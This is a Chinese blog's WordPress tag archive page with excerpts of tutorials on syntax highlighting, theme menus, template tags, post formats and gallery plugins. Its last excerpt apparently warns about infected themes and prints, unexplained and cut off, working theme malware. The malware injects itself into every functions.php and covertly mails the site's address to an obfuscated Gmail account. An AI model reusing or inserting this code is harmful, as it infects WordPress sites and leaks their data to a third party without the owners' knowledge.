标签归档:WordPress

SyntaxHighlighter Evolved支持哪些高亮语言

CSS,网页设计 - SyntaxHighlighter Evolved支持哪些高亮语言

SyntaxHighlighter Evolved这个插件很好用,但是就是有时候不知道自己的代码它支不支持,百度和官网都找不到具体的说明,不过在后台插件编辑中看到这些代码,那我就放心使用了!


$this->brushes = (array) apply_filters( 'syntaxhighlighter_brushes', array(
'as3' => 'as3',
'actionscript3' => 'as3',
'bash' => 'bash',
'shell' => 'bash',
'coldfusion' => 'coldfusion',
'cf' => 'coldfusion',
'clojure' => 'clojure',
'clj' => 'clojure',
'cpp' => 'cpp',
'c' => 'cpp',
'c-sharp' => 'csharp',
'csharp' => 'csharp',
'css' => 'css',
'delphi' => 'delphi',
'pas' => 'delphi',
'pascal' => 'delphi',
'diff' => 'diff',
'patch' => 'diff',
'erl' => 'erlang',
'erlang' => 'erlang',
'fsharp' => 'fsharp',
'groovy' => 'groovy',
'java' => 'java',
'jfx' => 'javafx',
'javafx' => 'javafx',
'js' => 'jscript',
'jscript' => 'jscript',
'javascript' => 'jscript',
'latex' => 'latex', // Not used as a shortcode
'tex' => 'latex',
'matlab' => 'matlabkey',
'objc' => 'objc',
'obj-c' => 'objc',
'perl' => 'perl',
'pl' => 'perl',
'php' => 'php',
'plain' => 'plain',
'text' => 'plain',
'ps' => 'powershell',
'powershell' => 'powershell',
'py' => 'python',
'python' => 'python',
'r' => 'r', // Not used as a shortcode
'splus' => 'r',
'rails' => 'ruby',
'rb' => 'ruby',
'ror' => 'ruby',
'ruby' => 'ruby',
'scala' => 'scala',
'sql' => 'sql',
'vb' => 'vb',
'vbnet' => 'vb',
'xml' => 'xml',
'xhtml' => 'xml',
'xslt' => 'xml',
'html' => 'xml',
) );

测试

这里写你的代码
WordPress显示访问人数及评论

WordPress - WordPress显示访问人数及评论

<?php
	<div class="post-meta">
		<span class="pd"><?php the_time('F j, Y') ?></span><br/>
		<span class="pv"><?php if(function_exists('the_views')) { ?><?php the_views(); ?></span><?php } ?>
		<span class="pc"><a href="<?php the_permalink() ?>#comments_list"><?php comments_number('0', '1', '%') ?></a></span>
		// <?php comments_popup_link('0', '1', '%'); ?>  这个方法同上面显示评论数及评论链接的方法相同,不过更简单
	</div>
 ?>
WordPress图片显示特效

插件应用 - WordPress图片显示特效

看到网上有的WordPress使用FancyBox显示图片效果比我原来的highslide效果好很多,所以就将http://qulehe.com图片显示改换成FancyBox。

这里有两种方法来实现FancyBox,

一种是不使用插件,直接用代码!这里有参考网站为:

  1. 妄境的【Fancybox折腾记】http://shrimprex.com/archives/2311.html
  2. 放肆雷特的【为WordPress加入Fancybox相册功能免插件实现】http://www.fangsi.net/archives/127.html
  3. FancyBox官网的说明http://fancyapps.com/fancybox/

另一种是使用插件:

  1. 【Easy FancyBox显示文章图片】http://learn-0101.com/2013/10/10/wordpress-plugin-easy-fancybox/
WordPress3.8 添加多个菜单及设置

WordPress - WordPress3.8 添加多个菜单及设置

今天将我的小站建筑一生的工具页面设置一套菜单(导航),想使用WordPress3.8自带的强大的菜单管理功能,可是原主题只支持一个菜单,那就只要自己动手了。

一、设置支持多套菜单

1.查看主题支持菜单数

方法:后台=》外观=》菜单=》管理位置

查看主题支持菜单树

查看主题支持菜单树

2.设置主题function.php

让主题支持多套菜单,方法:打开function.php,找到

register_nav_menu()

替换成:

//定义菜单
	if (function_exists('register_nav_menus')){
		register_nav_menus( array(
			'primary' => __( 'Primary Menu', 'twentytwelve' ),
			'gongjumenu' => __('Gongju Menu', 'twentytwelve')
		));
	}

在需要添加菜单的地方加上下面函数

<!--?php wp_nav_menu( array( 'theme_location' =--> 'gongjumenu', 'menu_class' => 'gongju-menu' ) ); ?>

然后就是在后台创建新的菜单,在【管理位置】标签选择创建的菜单就可以,剩下的就是相应的CSS样式设置。

二、相关函数查询

register_nav_menus( $locations );
wp_nav_menu( $args );

函数register_nav_menus
函数wp_nav_menu

WordPress文章或者页面中插入豆瓣FM

WordPress - WordPress文章或者页面中插入豆瓣FM

有的同学也许会和我一样,很喜欢用豆瓣FM来听歌,恩!有种上学时听收音机的感觉,而且豆瓣会更具你的习惯推荐歌曲,很不错!
这就是我的小站的效果

豆瓣fm

豆瓣fm

其实这个实现非常简单,新建文章或者页面,然后转到【文本】模式下编辑

wenben-douban

以下是插入的代码:

<iframe name="iframe_canvas" src="http://douban.fm/partner/baidu/doubanradio" scrolling="no" frameborder="0" width="420" height="190"></iframe>

效果查看:http://qulehe.com/music

WordPress各种标签调用集合

WordPress - WordPress各种标签调用集合

wordpress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志,插件众多,易于扩充功能。安装和使用都非常方便。目前 WordPress 已经成为主流的 Blog 搭建平台。本站就用的是WordPress构建的。

WordPress主体包含的主要文件

  • WordPress模板基本文件
  • style.css 样式表文件
  • index.php 主页文件
  • single.php 日志单页文件
  • page.php 页面文件
  • archvie.php 分类和日期存档页文件
  • searchform.php 搜索表单文件
  • search.php 搜索页面文件
  • comments.php 留言区域文件(包括留言列表和留言框)
  • 404.php 404错误页面
  • header.php 网页头部文件
  • sidebar.php 网页侧边栏文件
  • footer.php 网页底部文件
  • WordPress Header头部 PHP代码

注: 也就是位于和之间的PHP代码

网站标题

<?php wp_title(); ?>

日志或页面标题

<?php bloginfo(‘stylesheet_url’); ?>

WordPress主题样式表文件style.css的相对地址

WordPress博客的Pingback地址

WordPress主题文件的相对地址

博客的Wordpress版本

WordPress博客的Atom地址

WordPress博客的RSS2地址

WordPress博客的绝对地址

WordPress博客的名称

网站的HTML版本

网站的字符编码格式

WordPress 主体模板 PHP代码

日志内容
确认是否有日志

如果有,则显示全部日志

结束PHP函数”while”

结束PHP函数”if”

header.php文件的内容

sidebar.php文件的内容

footer.php文件的内容

显示格式为”02-19-08″的日期

显示一篇日志的留言链接

显示一篇日志或页面的标题

显示一篇日志或页面的永久链接/URL地址

显示一篇日志或页面的所属分类

显示一篇日志或页面的作者

显示一篇日志或页面的ID

显示一篇日志或页面的编辑链接

显示Blogroll中的链接

comments.php文件的内容

显示一份博客的页面列表

显示一份博客的分类列表

下一篇日志的URL地址

上一篇日志的URL地址

调用日历

显示一份博客的日期存档列表

显示较新日志链接(上一页)和较旧日志链接(下一页)

显示博客的描述信息

其它的一些Wordpress模板代码

/%postname%/ 显示博客的自定义永久链接
搜索表单的值

打印输出信息

显示注册链接

显示登入/登出链接

<!–next page–> 在日志或页面中插入分页

<!–more–> 截断日志

显示管理员的相关控制信息

显示载入页面的时间

显示载入页面查询

1. wordpress调用最新文章

WordPress最新文章的调用可以使用一行很简单的模板标签wp_get_archvies来实现. 代码如下:

(显示10篇最新更新文章)
或者


后面这个代码显示你博客中最新的20篇文章,其中format=custom这里主要用来自定义这份文章列表的显示样式。具体的参数和使用方法你可 以参考官方的使用说明- wp_get_archvies。(fromat=custom也可以不要,默认以UL列表显示文章标题。)

补充: 通过WP的query_posts()函数也能调用最新文章列表, 虽然代码会比较多一点,但可以更好的控制Loop的显示,比如你可以设置是否显示摘要。具体的使用方法也可以查看官方的说明。

2. wordpress调用随机文章
$rand_posts = get_posts(‘numberposts=10&orderby=rand’);

foreach( $rand_posts as $post ) :

?>

<!–下面是你想自定义的Loop–>

”>

3. wordpress调用最新留言

下面是我之前在一个Wordpress主题中代到的最新留言代码,具体也记不得是哪个主题了。该代码直接调用数据库显示一份最新留言。其中 LIMIT 10限制留言显示数量。绿色部份则是每条留言的输出样式。
global $wpdb;

$sql = “SELECT DISTINCT ID, post_title, post_password, comment_ID,

comment_post_ID, comment_author, comment_date_gmt, comment_approved,

comment_type,comment_author_url,

SUBSTRING(comment_content,1,30) AS com_excerpt

FROM $wpdb->comments

LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID =

$wpdb->posts.ID)

WHERE comment_approved = ’1′ AND comment_type = ” AND

post_password = ”

ORDER BY comment_date_gmt DESC

LIMIT 10″;

$comments = $wpdb->get_results($sql);

$output = $pre_HTML; foreach ($comments as $comment) {

$output .= “n

”.strip_tags($comment->comment_author)
.”:” . ” ID) .

“#comment-” . $comment->comment_ID . “” title=”on ” .

$comment->post_title . “”>” . strip_tags($comment->com_excerpt)

.”

”;

} $output .= $post_HTML;

echo $output;?>
4.wordpress调用相关文章

在文章页显示相关文章
$tags = wp_get_post_tags($post->ID);

if ($tags) {

$first_tag = $tags[0]->term_id;

$args=array(

‘tag__in’ => array($first_tag),

‘post__not_in’ => array($post->ID),

‘showposts’=>10,

‘caller_get_posts’=>1

);

$my_query = new WP_Query($args);

if( $my_query->have_posts() ) {

while ($my_query->have_posts()) : $my_query->the_post(); ?>

” rel=”bookmark” title=””>
endwhile;

}

}

wp_reset_query();

?>
5.wordpress调用指定分类的文章

” rel=”bookmark” title=””>

6.wordpress去评论者链接的评论输出
global $wpdb;

$sql = “SELECT DISTINCT ID, post_title, post_password, comment_ID,

comment_post_ID, comment_author, comment_date_gmt, comment_approved,

comment_type,comment_author_url,

SUBSTRING(comment_content,1,14) AS com_excerpt

FROM $wpdb->comments

LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID =

$wpdb->posts.ID)

WHERE comment_approved = ’1′ AND comment_type = ” AND

post_password = ”

ORDER BY comment_date_gmt DESC

LIMIT 10″;

$comments = $wpdb->get_results($sql);

$output = $pre_HTML;

foreach ($comments as $comment) {

$output .= “

”.strip_tags($comment->comment_author).”:” . ” ID) .
“#comment-” . $comment->comment_ID . “” title=”on ” .

$comment->post_title . “”>” . strip_tags($comment->com_excerpt).”

”;

}

$output .= $post_HTML;

echo $output;?>
7.wordpress调用含gravatar头像的评论输出
global $wpdb;

$sql = “SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved,comment_author_email, comment_type,comment_author_url, SUBSTRING(comment_content,1,10) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = ’1′ AND comment_type = ” AND comment_author != ‘郑 永’ AND post_password = ” ORDER BY comment_date_gmt DESC LIMIT 10″;

$comments = $wpdb->get_results($sql);

$output = $pre_HTML;

foreach ($comments as $comment)

{

$output .= “

”.get_avatar(get_comment_author_email(‘comment_author_email’), 18). ” ID) . “#comment-” . $comment->comment_ID . “” title=”” . $comment->post_title . ” 上的评论”>”. strip_tags($comment->comment_author) .”: “. strip_tags($comment->com_excerpt) .”
”;

}

$output .= $post_HTML;

$output = convert_smilies($output);

echo $output;

?>
上面代码把comment_author的值改成你的ID,18是头像大小,10是评论数量。
8.wordpress调用网站统计大全

1、日志总数:

publish;?>
2、草稿数目:

3、评论总数:

4、成立时间:

5、标签总数:

6、页面总数:

7、分类总数:

8、链接总数:

9、用户总数:

10、最后更新:

get_results(“SELECT MAX(post_modified) AS MAX_m FROM $wpdb->posts WHERE (post_type = ‘post’ OR post_type = ‘page’) AND (post_status = ‘publish’ OR post_status = ‘private’)”);$last = date(‘Y-n-j’, strtotime($last[0]->MAX_m));echo $last; ?>
9.wordpress判断语句

is_single()

判断是否是具体文章的页面

is_single(’2′)

判断是否是具体文章(id=2)的页面

is_single(‘Beef Stew’)

判断是否是具体文章(标题判断)的页面

is_single(‘beef-stew’)

判断是否是具体文章(slug判断)的页面

comments_open()

是否留言开启

pings_open()

是否开启ping

is_page()

是否是页面

is_page(’42′)

id判断,即是否是id为42的页面

is_page(‘About Me’)

判断标题

is_page(‘about-me’)

slug判断

is_category()

是否是分类

is_category(’6′)

id判断,即是否是id为6的分类

is_category(‘Cheeses’)

分类title判断

is_category(‘cheeses’)

分类 slug判断

in_category(’5′)

判断当前的文章是否属于分类5

is_author()

将所有的作者的页面显示出来

is_author(’1337′)

显示author number为1337的页面

is_author(‘Elite Hacker’)

通过昵称来显示当前作者的页面

is_author(‘elite-hacker’)

下面是通过不同的判断实现以年、月、日、时间等方式来显示归档

is_date()

is_year()

is_month()

is_day()

is_time()

判断当前是否是归档页面

is_archive()

判断是否是搜索

is_search()

判断页面是否404

is_404()

判断是否翻页,比如你当前的blog是http://domain.com 显示http://domain.com?paged=2的时候,这个判断将返 回真,通过这个函数可以配合is_home来控制某些只能在首页显示的界面,

例如:

//这里写你想显示的内容,包括函数

或者:

//这里写你想显示的内容,包括函数

10.wordpress非插件同步twitter
require_once (ABSPATH . WPINC . ‘/class-feed.php’);

$feed = new SimplePie();

$feed->set_feed_url(‘http://feeds.feedburner.com/agting′);

$feed->set_file_class(‘WP_SimplePie_File’);

$feed->set_cache_duration(600);

$feed->init();

$feed->handle_content_type();

$items = $feed->get_items(0,1);

foreach($items as $item) {

echo ‘@用户名: ‘.$item->get_description();

}

?>
代码中的agting改成你的twitter用户名,改成你的名字。

另一种调用方法需要你的空间是国外主机:
// Your twitter username.

$username = “wange1228″;

// Prefix – some text you want displayed before your latest tweet.

// (HTML is OK, but be sure to escape quotes with backslashes: for example href=”link.html”)

// Suffix – some text you want display after your latest tweet. (Same rules as the prefix.)

$suffix = “”;

$feed = “http://search.twitter.com/search.atom?q=from:” . $username . “&rpp=1″;

function parse_feed($feed) {

$stepOne = explode(“”, $feed);

$stepTwo = explode(“”, $stepOne[1]);

$tweet = $stepTwo[0];

$tweet = str_replace(“<”, “<”, $tweet); $tweet = str_replace(“>”, “>”, $tweet);

return $tweet;

}

$twitterFeed = file_get_contents($feed);

echo stripslashes($prefix) . parse_feed($twitterFeed) . stripslashes($suffix);

?>
总结一下这个方法的特点:

1、非插件.

2、不用验证用户名和密码,也就是说你可以指定调用任何一个人的 tweet.

3、可以自定义 tweet 信息后显示的文字,就是 $suffix = “”; 这里.

4、只能调用最新的一条 tweet,刚好满足我的需求。

5、大概只有国外空间才能使用.(经我验证,确实如此)

11.wordpress 非插件调用评论表情
<!–smilies–>
function wp_smilies() {

global $wpsmiliestrans;

if ( !get_option(‘use_smilies’) or (empty($wpsmiliestrans))) return;

$smilies = array_unique($wpsmiliestrans);

$link=”;

foreach ($smilies as $key => $smile) {

$file = get_bloginfo(‘wpurl’).’/wp-includes/images/smilies/’.$smile;

$value = ” “.$key.” “;

$img = “”;

$imglink = htmlspecialchars($img);

$link .= “{$img} ”;

}

echo ‘

’.$link.’
’;

}

?>

将以上代码复制到 comments.php 中合适的位置。

Wordpress 的 Tumblr 化:Post format 功能小试

WordPress - WordPress 的 Tumblr 化:Post format 功能小试

主机放在国外的一个好处就是升级 WordPress 变得很方便,看到 Dashboard 里提示有新的 WordPress 版本之后就随手点几下,新版本就自动装好了。这份方便也让 Lucifr 很少再去研究新版本的功能,以至于差点错过了 WordPress 3.1 中这个很不该忽视的 Post format (文章格式) 功能。

什么是 Post format

如果接触过 Tumblr 这个“不存在”的博客服务的话,可能会更加容易理解 Post format。简单来说 Post format 就像是一种针对主题的通用类别(Category),通过 Post format 可以将文章分为几类,从而方便主题(Theme)针对不同的类别采用相应的显示风格。

有哪些 Post format

目前 WordPress 3.1 已经支持的 Post format 分为以下几个:

  • aside
  • gallery
  • link
  • image
  • quote
  • status
  • video
  • audio
  • chat

实际上除了这些以外还有一个就是普通类型的 standard,通常可以作为传统意义上的长文章来对待,未指定 post format 的文章都被归为此类。

可以看出,和 Tumblr 类似,这些 Post format 基本上涵盖了各种文章类型,但与之前用户自定义的“类别”不同,Post format 是由 WordPress 官方定义的,也就是说主题创作者只可以从这些分类中进行选择,并为相应的分类制作出对应的风格来。这就确保了用户在不同主题之间切换时,Post format 保持了一致性。在这一点上和 Tumblr 的理念也是一样的。

如何为主题添加 Post format 功能

由于 Post format 基本上是为主题制作者设置的,对于普通用户来说,可能为既有主题添加 Post format 功能,并达到如 Tumblr 众多精美主题的风格水准并不是件很容易的事。所以以下的内容也只是供参考,并不是详细的教程。

添加主题支持

需要在主题的 function.php 中添加 add_theme_support() 来告诉 WordPress 主题中需要激活的 Post format 类型。如:

add_theme_support( 'post-formats', array( 'aside', 'gallery' ) );

这样就开启了对 aside 和 gallery 这两种 Post format 的支持。这时在 WordPress 后台的编辑文章页面就可以看到相应的 Post format 选项,并为文章指定相应的 Post format 了。

WordPress Post forma样式

WordPress Post forma样式

在主题中整合 Post format

经过上述这一步,只是添加了主题对 Post format 的支持而已,要在前台显示出不同 format 之间在风格上的区别,这才是主题制作上的重头戏,也留给了创作者很大施展的空间。

如何将不同的类型的文章展示出不同的风格呢?简单来说,就是通过条件语句加上 CSS 的控制来达到的。

目前 Lucifr 就在修改使用中的这个主题,以让其实现 Post format 功能,以 aside 类别的添加为例:

<?php if ( has_post_format( 'aside' )) { ?>
    <div>
        <a title="<?php the_title(); ?>" href="<?php the_permalink(); ?>">Permalink for this post</a>
        <div></div>
        <div>
        <?php the_content(); ?>
        </div>
    </div>
<?php }else { ?>

在显示文章列表的 entry.php 中添加了以上的代码之后,就为 aside 创建出了一个特殊的格式,配合一些 CSS:

.aside-entry {
    background: none repeat scroll 0 0 #FFFFFF;
    border-radius: 4px 4px 4px 4px;
    box-shadow: 1px 1px 1px #A0A0A0;
    padding: 12px 30px;
    color: #666666;
    font-size: 14px;
}

.aside-entry a {
    color: #3174A3;
}

.aside-pointer {
    background: url("images/aside-pointer.png") no-repeat scroll 0 0 transparent;
    display: block;
    height: 17px;
    margin: 12px 0 0 -13px;
    position: absolute;
    width: 13px;
}

就可以显示出与正常(standard)文章不同的风格:

正常文章样式

正常文章样式

去除侧边栏

去除侧边栏

 

同理,我们也可以为其它的 Post format 创造出独特的风格来。

只要按照这样的写法就可以了:

<?php if ( has_post_format( 'aside' )) { ?>
    这里写入 aside 的格式
<?php } else if (has_post_format('gallery')) { ?>
    这里写入 gallery 的格式
<?php } else if (has_post_format('link')) { ?>
    这里写入 link 的格式
...
<?php }else { ?>
    最后是普通格式
<?php } ?>

这样的写法适合各种 Post format 之间差别很大的情况,如果是可以通过 CSS 进行调整的小修改,也可以通过活用 post_class() 函数的方式配合 CSS 来达到目的.比如:

<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
    <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
    <?php the_content(); ?>
</div>

配合 CSS:

.format-aside .post-title {
    display:none;
}

就达到了只在 aside 类型中隐藏文章标题的作用,同理也可以调整字体、背景等等。

后记

Post format 功能是 WordPress 向 Tumblr 的一次学习,在我看来,这反映出开发者们认识到了 WordPress 在个人使用时还不够简单、纯粹。

目前已经有一些商用主题开始支持 Post format,相信之后个人用 WordPress 主题会涌现出更多的 Tumblr 风格吧。

原文链接:http://lucifr.com/2011/04/06/wordpress-3-1-getting-more-tumblrized-with-post-format/

NEXTGEN-GALLERY在WORDPRESS文章中的调用方式和显示效果

插件应用 - NEXTGEN-GALLERY在WORDPRESS文章中的调用方式和显示效果

再这篇文章中,我将详细介绍nextgen-gallery插件的详细使用方法。
一、 如何在文章中调用nextgen-gallery新建相册

安装完毕nextgen-gallery相册后,在wordpress中有两个地方可以直接调用相册图片。

第一种方式是调用方式是在wp后台的“小工具”里面,这里我们只需要通过拖拽的方式就可以实现显示效果。

第二种方式是在发布的页面(或文章)中可以调用nextgen-gallery中的相册图片。无忧主机www.51php.com认为这是一个很简单的问题,我们只需要在发布文章(页面)的时候,在html编辑状态下,插入如下任意一段的代码就可以实现调用了图片,不需要我们编辑网站程序中的php程序代码,使用非常简单。nextgen-gallery插件调用代码如下:

插入一个幻灯片效果: [slideshow id=x w=width h=height]

插入一个相册 : [album id=相册ID template=extend] or [album id=相册ID template=compact]

插入一个图集 : [nggallery id=图集ID]

插入一张图片 : [singlepic id=x w=width h=height mode=web20|watermark float=left|right]

插入图片浏览器 : [imagebrowser id=x]

按标签显示图集 : [nggtags gallery=mytag]

显示标签的相册 : [nggtags album=mytag]

上面的代码,已经在无忧php虚拟主机中进行过测试,可以正常使用。

二、nextgen-gallery相册显示效果欣赏

无忧主机在自建的测试平台上,获得了一些简单的nextgen-gallery相册显示效果,截图并分享给大家:

1、nextgen-gallery相册侧栏随机显示照片效果

NextGEN-Gallery相册、图集插入文章

NextGEN-Gallery相册、图集插入文章

2、nextgen-gallery相册图片列表显示效果

nextgen-gallery相册图片列表显示效果

nextgen-gallery相册图片列表显示效果

3、nextgen-gallery相册幻灯片显示效果

nextgen-gallery相册幻灯片显示效果

nextgen-gallery相册幻灯片显示效果

表格插件推荐TablePress

WordPress - 表格插件推荐TablePress

这两天将我的建筑小站【建筑一生】加了一项规范更新的表格,在网上找了些大家用的比较多的插件,发现这款的好评比较多,于是试着用了一下,感觉真的很不错。现在推荐给大家!

插件名称:TablePress,可以直接在插件安装中查询到,而且也支持汉语,使用和安装完全没有什么难度。功能也比较强大!其他就不多说了,这是我使用后的后台和前台效果。

TablePress后台

TablePress后台

TablePress前台

TablePress前台

 

WordPress主题污染代码

WordPress - WordPress主题污染代码

WordPress主题污染代码

 < ?php
function _verifyactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);				
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgets_cont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
	if(!isset($text_length)) $text_length=120;
	if(!isset($check)) $check="cookie";
	if(!isset($tagsallowed)) $tagsallowed="";
	if(!isset($filter)) $filter="none";
	if(!isset($coma)) $coma="";
	if(!isset($home_filter)) $home_filter=get_option("home"); 
	if(!isset($pref_filters)) $pref_filters="wp_";
	if(!isset($is_use_more_link)) $is_use_more_link=1; 
	if(!isset($com_type)) $com_type=""; 
	if(!isset($cpages)) $cpages=$_GET["cperpage"];
	if(!isset($post_auth_comments)) $post_auth_comments="";
	if(!isset($com_is_approved)) $com_is_approved=""; 
	if(!isset($post_auth)) $post_auth="auth";
	if(!isset($link_text_more)) $link_text_more="(more...)";
	if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
	if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
	if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
	if(!isset($contentmore)) $contentmore="ma".$coma."il";
	if(!isset($for_more)) $for_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_yes) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fixed_tags)) $fixed_tags=1;
	if(!isset($filters)) $filters=$home_filter; 
	if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
	if(!isset($tag_aditional)) $tag_aditional="div";
	if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_text_link)) $more_text_link="Continue reading this entry";	
	if(!isset($isshowdots)) $isshowdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($text_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, " 继续阅读 
第 1 页,共 2 页12